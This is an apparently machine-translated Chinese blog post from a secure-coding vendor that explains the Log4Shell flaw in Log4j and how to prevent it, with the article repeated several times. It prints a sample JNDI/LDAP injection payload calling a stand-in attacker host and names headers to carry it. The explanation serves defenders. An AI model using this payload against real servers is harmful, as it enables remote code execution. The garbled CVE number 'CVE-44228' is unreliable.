SCW Icons
hero bg no divider
Blog

Log4j 漏洞详解-其攻击载体及其防范方法

Laura Verheyde
Published Jan 16, 2022
Last updated on Mar 09, 2026

12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。

想快速提升你处理 Log4Shell 的技能吗?

我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。

老新闻?

这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。

攻击向量

Log4Shell 的注入负载如下所示:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。

该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理X 向前移动,以及其他标头,可以自定义以携带有效载荷。

要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”

预防:意识

建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。

这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。

Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。

特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。

提升你防御 Log4Shell 的技能

有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。


查看资源
查看资源

2021 年 12 月,Java 库 Log4j 中披露了一个严重的安全漏洞 Log4Shell。在本文中,我们将 Log4Shell 漏洞分解为最简单的形式,便于你掌握基础知识,并向你介绍一个任务——一个游乐场,你可以利用对该漏洞的了解尝试利用模拟网站进行攻击。

对更多感兴趣?

learn more

Secure Code Warrior可以帮助您的组织在整个软件开发生命周期中保护代码,并营造一种将网络安全放在首位的文化。无论您是 AppSec 经理、开发人员、首席信息安全官还是任何与安全相关的人,我们都可以帮助您的组织降低与不安全代码相关的风险。

预订演示
分享到:
linkedin brandsSocialx logo
作者
Laura Verheyde
Published Jan 16, 2022

Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.

分享到:
linkedin brandsSocialx logo

12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。

想快速提升你处理 Log4Shell 的技能吗?

我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。

老新闻?

这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。

攻击向量

Log4Shell 的注入负载如下所示:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。

该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理X 向前移动,以及其他标头,可以自定义以携带有效载荷。

要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”

预防:意识

建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。

这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。

Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。

特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。

提升你防御 Log4Shell 的技能

有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。


查看资源
查看资源

填写下面的表格下载报告

我们希望获得您的许可,以便向您发送有关我们的产品和/或相关安全编码主题的信息。我们将始终非常谨慎地对待您的个人信息,绝不会出于营销目的将其出售给其他公司。

提交
scw success icon
scw error icon
要提交表单,请启用 “分析” Cookie。完成后,可以随意再次禁用它们。

12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。

想快速提升你处理 Log4Shell 的技能吗?

我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。

老新闻?

这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。

攻击向量

Log4Shell 的注入负载如下所示:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。

该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理X 向前移动,以及其他标头,可以自定义以携带有效载荷。

要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”

预防:意识

建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。

这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。

Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。

特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。

提升你防御 Log4Shell 的技能

有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。


观看网络研讨会
开始吧
learn more

点击下面的链接并下载此资源的PDF。

Secure Code Warrior可以帮助您的组织在整个软件开发生命周期中保护代码,并营造一种将网络安全放在首位的文化。无论您是 AppSec 经理、开发人员、首席信息安全官还是任何与安全相关的人,我们都可以帮助您的组织降低与不安全代码相关的风险。

查看报告预订演示
查看资源
分享到:
linkedin brandsSocialx logo
对更多感兴趣?

分享到:
linkedin brandsSocialx logo
作者
Laura Verheyde
Published Jan 16, 2022

Laura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.

分享到:
linkedin brandsSocialx logo

12 月 9 日,Java 库 Log4j 中的一个为期 0 天的漏洞被披露。 CVE-44228,配音 Log4Shell,由于该漏洞可能导致远程代码执行,因此获得了 “高严重性” 评级(竞赛)。此外,log4j-core 是最常用的 Java 日志库之一,因此它使数百万个应用程序处于危险之中。

想快速提升你处理 Log4Shell 的技能吗?

我们已经建立了一个展示柜,带你从Log4Shell的基本概念到在一个名为Mission的模拟器中体验利用这个漏洞的漏洞。在本任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础架构和应用程序。 点击此处直接进入展示柜,或者继续阅读以详细了解该漏洞。

老新闻?

这种漏洞并不是什么新鲜事物。安全研究人员已经在 2016 年的 BlackHat 演讲中 阿尔瓦罗·穆尼奥斯和奥列克桑德·米罗什 强调了这一点”应用程序不应使用不可信的数据执行 JNDI 查询”,并说明了有针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心。

攻击向量

Log4Shell 的注入负载如下所示:

$ {jndi: ldap: //attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。用以下语法编写的表达式: $ {expr} 将在运行时进行评估。例如,$ {java: version} 将返回正在使用的 Java 版本。

接下来是 JNDI,或 Java 命名和目录接口,这是一个 API,允许使用 LDAP、DNS、RMI 等协议连接服务以检索数据或资源。简而言之,在上面的恶意负载示例中,JNDI 对攻击者控制的 LDAP 服务器执行查询。例如,它的响应可能指向包含恶意代码的 Java 类文件,作为回报,该文件将在易受攻击的服务器上执行。

该漏洞之所以如此成问题,是因为Log4j会评估所有日志条目,并将对所有以 “jndi” 为前缀的 EL 语法编写的已记录用户输入进行查询。可以将有效负载注入用户可以输入数据的任何地方,例如表单字段。另外,HTTP 标头,例如 用户代理X 向前移动,以及其他标头,可以自定义以携带有效载荷。

要亲自体验漏洞, 前往我们的展示区,跳入第 2 步—— “体验影响力”

预防:意识

建议对所有应用程序进行升级,因为 Log4j 一直在修补易受攻击的代码。但是,2.15.0和2.16.0版本包含DDoS和其他漏洞,这意味着从12月下旬开始,建议升级到2.17.0。

在开发人员编写代码时,我们需要始终考虑安全性。Log4Shell 告诉我们,使用第三方框架或库会带来风险。我们需要意识到这样一个事实,即使用外部资源可能会损害我们的应用程序的安全性,而我们天真地认为外部资源是安全的。

这个漏洞可以预防吗?是和不是。一方面,只有通过第三方软件引入易受攻击的组件,开发人员才能做更多的事情。另一方面,从中吸取的教训是一遍又一遍地重复的,即永远不要相信用户的输入。

Secure Code Warrior认为,具有安全意识的开发人员是防止代码漏洞发生的最佳方法。由于 SCW 大规模提供特定编程框架的培训,因此企业客户能够利用报告数据快速找到受影响的 Java 开发人员是谁。他们还依靠受过 SCW 培训的安全支持者来加速 Log4j 的升级。

特别是 Java 开发者,Secure Code Warrior 提供了 Sensei,一款免费的 IntelliJ 插件。这种基于规则的代码分析工具可用于强制执行编码指南,以及预防和修复漏洞。您可以创建自己的规则,也可以使用我们的现成规则 食谱。浏览我们的 食谱,别忘了下载我们的 Log4j 食谱 这将帮助你在眨眼之间找到并修复 Log4Shell 漏洞。

提升你防御 Log4Shell 的技能

有兴趣将你在这篇博客文章中学到的东西付诸实践吗?我们的展示柜可以为您提供帮助。在展示开始时,您将快速查看此漏洞,然后将带您进入模拟环境,在那里您可以根据指导性说明尝试漏洞。


目录

下载PDF
查看资源
对更多感兴趣?

learn more

Secure Code Warrior可以帮助您的组织在整个软件开发生命周期中保护代码,并营造一种将网络安全放在首位的文化。无论您是 AppSec 经理、开发人员、首席信息安全官还是任何与安全相关的人,我们都可以帮助您的组织降低与不安全代码相关的风险。

预订演示下载
分享到:
linkedin brandsSocialx logo
资源中心

帮助您入门的资源

更多帖子
资源中心

帮助您入门的资源

更多帖子